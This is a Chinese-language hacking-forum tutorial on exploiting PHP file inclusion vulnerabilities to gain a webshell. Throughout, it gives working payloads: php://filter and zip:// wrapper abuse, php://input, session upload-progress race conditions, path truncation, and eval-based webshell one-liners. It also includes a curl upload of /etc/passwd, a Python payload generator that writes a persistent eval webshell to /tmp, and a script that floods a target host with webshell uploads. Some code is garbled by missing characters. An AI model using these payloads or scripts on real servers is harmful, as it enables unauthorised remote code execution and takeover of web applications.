標題:PHP 文件包含漏洞

taibeihacker

Moderator

PHP 文件包含漏洞​

1 相关函数​

include()
include_once()
require()
require_once()

2 分类​

遠程文件包含
本地文件包含

3 包含的实现​

包含的時候,不一定是要去包含php 文件(即可執行的php 文件)
類似於:a.phps、a.xxx、a.jpg
只要文件中包含一塊完整php 代碼,例如一個a.txt,內容為?php phpinfo();

4 包含的场景​

4.1 上传可控文件​

比如說我們能夠上傳圖片,那就去傳一個帶完整php 代碼的圖片文件,或者是將代碼文件改後綴即可
壓縮包,配合偽協議
?php ? 過濾的情況:
1
script language='php'@eval($_POST['a']);/script

4.2 远程文件包含​

4.2.1 条件​

allow_url_fopen
本選項激活了URL 形式的fopen 封裝協議使得可以訪問URL 對象例如文件。默認的封裝協議提供用ftp 和http 協議來訪問遠程文件,一些擴展庫例如zlib 可能會註冊更多的封裝協議。

4.2.2 远程文件包含​

[http|https|ftp]://www.bbb.com/shell.txt
若後綴名寫死,可以用? 繞過
pyload:
1
aaa.com/1.php?a

4.3 伪协议​

4.3.1 PHP 归档​

phar://
zip://
DEMO: payload:
url=zip://a.zip#壓縮包內文件名
url=phar://a.zip/壓縮包內文件名
上傳的文件無所謂後綴名,只要是zip 文件頭的文件均可,zip 文件改成jpg,zip://協議仍然可以解析

4.3.2 利用 PHP 流​

4.3.2.1 php://filter​

元封裝器,設計用於數據流打開時的篩選過濾應用。這對於一體式(all-in-one)的文件函數非常有用,類似readfile()、file() 和file_get_contents(),在數據流內容讀取之前沒有機會應用其他過濾器。
php://filter 目標使用以下的參數作為它路徑的一部分。複合過濾鏈能夠在一個路徑上指定。詳細使用這些參數可以參考具體範例。
?file=php://filter/read=convert.base64-encode/resource=index.php
?file=php://filter/read=string.toupper|string.rot13/resource=index.php
除此之外,還有:
1
2
3
4
5
6
7
string.toupper //上面有寫
string.tolower //轉換為小寫
string.strip_tags //去除html和php標記,比如?php?
convert.base64-encode //base64編碼
convert.base64-decode //base64編碼
convert.quoted-printable-encode //quoted-printable 轉8bit
convert.quoted-printable-decode //同上
DEMO:

4.3.2.2 php://input​

利用條件
allow_url_include=On
對allow_url_fopen 不做要求
php://input 可以讀取沒有處理過的POST 數據
20190113170721.png-water_print

Payload:
Url:key=123flag=php://input
Post:123

4.4 日志文件​

很多時候,web 服務器會將請求寫入到日誌文件中,比如說apache 在用戶發起請求時,會將請求寫入access error.log。默認情況下,日誌保存路徑在/var/log/apache2/
www 用戶無權限讀取該日誌,應用場景有限。

4.5 SESSION​

PHP 默認生成的session 文件往往存放在/tmp 目錄下
20190113171531.png-water_print

20210113171551.png-water_print

4.5.1 session 文件​

註冊一句話用戶名,並包含session 文件http://512ab969d9ce414e9349e459f7bf.../sess_tftrtvb6t089398jjl0p1cdvj7a=system('cat flag.php');

4.5.2 session.upload​

session.upload_progress.enabled 這個參數在php.ini 默認開啟,需要手動配置為OFF,如果不是off,就會在上傳的過程中生成上傳進度文件,它的出現本是為了顯示文件在上傳時候的進度,以顯示文件上傳的信息。
它的存儲路徑可以在phpinfo 中獲取到(如上圖)
Demo:
1
2
3
?php
($_=@_GET['orange']) @substr(file($_)[0],0,6)==='@?php' ? include($_) : highlight_file(__FILE__);
?
這個session 文件並不一定要session_start 才能生成,只要往服務器發送一個Cookie: PHPSESSID=xxx 的值,然後用session upload 的方式進行上傳文件,就會生成這樣一個session 文件
通過curl 上傳文件:
1
curl http://ip/index.php -H 'Cookie:PHPSESSID=iamnotorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=aaa' -F 'file=@/etc/passwd'
這樣就可以控製文件名,接下來想辦法控製文件內容。
由於文件上傳的速度比較快,有時候經常來不及看到保存在session 文件中的upload 信息,就會被刪除。我們可以上傳一個相對比較大的文件,並且條件競爭的方式。來先看一下保存在session 中的文件內容。
這裡構造了一個這樣的表單,upload.php
1
2
3
4
5
6
7
8
9
10
11
12
form action='upload.php' method='POST' enctype='multipart/form-data'
input type='hidden' name='?php echo ini_get('session.upload_progress.name');' value='iamnotorange' /
input type='file' name='file1' /
input type='file' name='file2' /
input type='submit' /
/form
?php
session_start();
$name=ini_get('session.upload_progress.name');
$key=ini_get('session.upload_progress.prefix') . $_POST[$name];
var_dump($_SESSION[$key]);
include '/var/lib/php/sessions/sess_iamnotorange';
然後開個多線程跑幾次,就能看到通過條件競爭讀出的文件內容:
20210113221506.png-water_print

可以發現文件中的upload_progress_ 固定,不可控。
接下來還有一個條件是substr(file($_)[0],0,6)==='@?php',想到利用php 中的偽協議,進行文件內容的修改。
參考:https://www.leavesongs.com/PENETRATION/php-filter-magic.html#_1
base64 的前置知識
base64編碼後的字符串集為[0-9a-zA-Z+/=]
因而在解碼的時候遇到這個之外的字符,就會跳過那些字符。只對在此範圍內的字符進行解碼。
在本例中,_ 作為特殊字符,在base64 解碼時會自動跳過。
所以只要對前面的upload_progress_ 進行足夠多次的解密,就可以使其變成空字符
1
2
3
4
5
6
7
8
9
10
11
$i=0 ;
$data='upload_progress_';
while(true){
$i +=1;
$data=base64_decode($data);
var_dump($data);
if($data==''){
echo '一共解碼了:'.$i,'次\n';
break;
}
}
通過腳本可以看到,只要三次就可以將前面的內容轉換為成空。
但是,由於base64 是對4 個字符為一組進行解碼。 upload_progress_ 並不滿足三次解碼後允許字符是4 的倍數(14 個有效字符,要求有效字符至少是16 個),就會把後面的字符算入填充,從而破壞原有傳入的php 代碼。
示例
1
2
3
4
5
6
7
8
9
10
function triple_base64_encode($str){
return base64_encode(base64_encode(base64_encode($str)));
}
function triple_base64_decode($str){
return base64_decode(base64_decode(base64_decode($str)));
}
$i=0 ;
$data='upload_progress_'.triple_base64_encode('?=\`id\`;');
echo triple_base64_decode($data);
解碼之後的數據是?
而upload_progress_ZZ 在三次的解碼中,第一次解碼後留下了四個允許字符hikY,第二次解碼沒有允許字符,第三次就變成了空。
在這三次中,都是允許字符的數量都是4 的倍數,這樣就不會破壞後面傳入的php 代碼。
爆破腳本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
?php
$str='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
while(true) {
$i=0 ;
$data='upload_progress_'.substr(str_shuffle($str),10,2);
$s=base64_decode($data);
$s_length=strlen(preg_replace('|[^a-z0-9A-Z+/]|s', '', $s));
$ss=base64_decode($s);
$ss_length=strlen(preg_replace('|[^a-z0-9A-Z+/]|s', '', $ss));
$sss=base64_decode($ss);
if($s_length%4==0 $ss_length%4==0 $sss=='') {
echo $data;
break;
}
}
對於後面的php 代碼,也有一個要求,就是三次解密中都不能出現=,因為base64中=只能放在編碼的最後補位,出現在中間的話,php://filter/convert.base64-decode 流就無法正常解析,就會報錯。
對此oragne 師傅寫了個腳本生成這玩意:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import string
from base64 import b64encode
from random import sample, randint
payload='@?php file_put_contents('/tmp/web', '@?php eval($_GET[1])?');'
while 1:
junk=''.join(sample(string.ascii_letters, randint(8, 16)))
x=b64encode(payload + junk)
xx=b64encode(b64encode(payload + junk))
xxx=b64encode(b64encode(b64encode(payload + junk)))
if '=' not in x and '=' not in xx and '=' not in xxx:
print(xxx)
break
VVVSM0wyTkhhSGRKUjFwd1lrZFdabU5JVmpCWU1rNTJZbTVTYkdKdVVucExRMk4yWkVjeGQwd3paR3haYVdOelNVTmtRVkJFT1hkaFNFRm5XbGhhYUdKRFoydFlNR1JHVmtaemVGaFRheTlRYVdOd1QzbEJMMUJzVGxGVmEwNUZWbXh3YTFSRk5UTmlNMHB6

4.6 ./ 长文件名截断​

payload:page=phpinfo.txt………………………………………………………………………………………………….
或page=phpinfo.txt././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

4.7 phpinfo​

向服務器上任意php 文件以form-data 式提交請求上傳數據時,會生成臨時文件,通過phpinfo 來獲取臨時文件的路徑以及名稱,然後臨時文件在極短時間被刪除的時候,需要競爭時間包含臨時文件拿到webshell
20190113173316.png-water_print

4.8 PHP 自包含​

上傳- 臨時文件
會話結束- 刪除臨時文件
phpinfo() - 臨時文件名
中斷刪除的過程
/a.php?include=a.php
這樣a.php 會將它自身包含進來,而被包含進來的a.php 再次嘗試處理url 的包含請求時,再次將自己包含進來,形成了無窮遞歸,遞歸會導致爆棧,使php無法進行此次請求的後續處理,然後就能進行包含了
自包含,導致php 停止
demo:
「百度杯」CTF比賽十二月場- Blog 進階版
註冊賬號,POST 頁面存在insert 型SQL 注入獲取管理員賬號
登錄admin 賬號,發現manage 頁面下存在包含
利用自包含漏洞,在tmp 文件夾下上傳webshell

4.9 PHP 崩溃​

本地文件包含漏洞可以讓php 包含自身從而導致死循環然後php 就會崩潰,如果請求中同時存在一個上傳文件的請求的話,這個文件就會被保留
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd
可以導致php 在執行過程中Segment Fault
想到可以利用在本地文件包含漏洞中
之前在網上的分析文章中,本地文件包含漏洞可以讓php 包含自身從而導致死循環
然後php 就會崩潰, 如果請求中同時存在一個上傳文件的請求的話,這個文件就會被保留
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
import itertools
charset=string.digits + string.letters
host='192.168.43.155'
port=80
base_url='http://%s:%d' % (host, port)
def upload_file_to_include(url, file_content):
files={'file': ('evil.jpg', file_content, 'image/jpeg')}
try:
response=requests.post(url, files=files)
except Exception as e:
print e
def generate_tmp_files():
webshell_content='?php eval($_REQUEST[c]);'.encode(
'base64').strip().encode('base64').strip().encode('base64').strip()
file_content='?php if(file_put_contents('/tmp/ssh_session_HD89q2', base64_decode('%s'))){echo 'flag';}?' % (
webshell_content)
phpinfo_url='%s/include.php?f=php://filter/string.strip_tags/resource=/etc/passwd' % (
base_url)
length=6
times=len(charset) ** (length/2)
for i in xrange(times):
print '[+] %d/%d' % (i, times)
upload_file_to_include(phpinfo_url, file_content)
def main():
generate_tmp_files()
if __name__=='__main__':
main()

5 总结​

當一個目標存在任意文件包含漏洞的時候,但找不到可以包含的文件,無法getshell。可以有三種方法:
借用phpinfo,包含臨時文件來getshell
利用PHP_SESSION_UPLOAD_PROGRESS,包含session 文件來getshell
利用一個可以使PHP 掛掉的漏洞(如內存漏洞等),使PHP 停止執行,此時上傳的臨時文件就沒有刪除。我們可以爆破緩存文件名來getshell。
 
返回
上方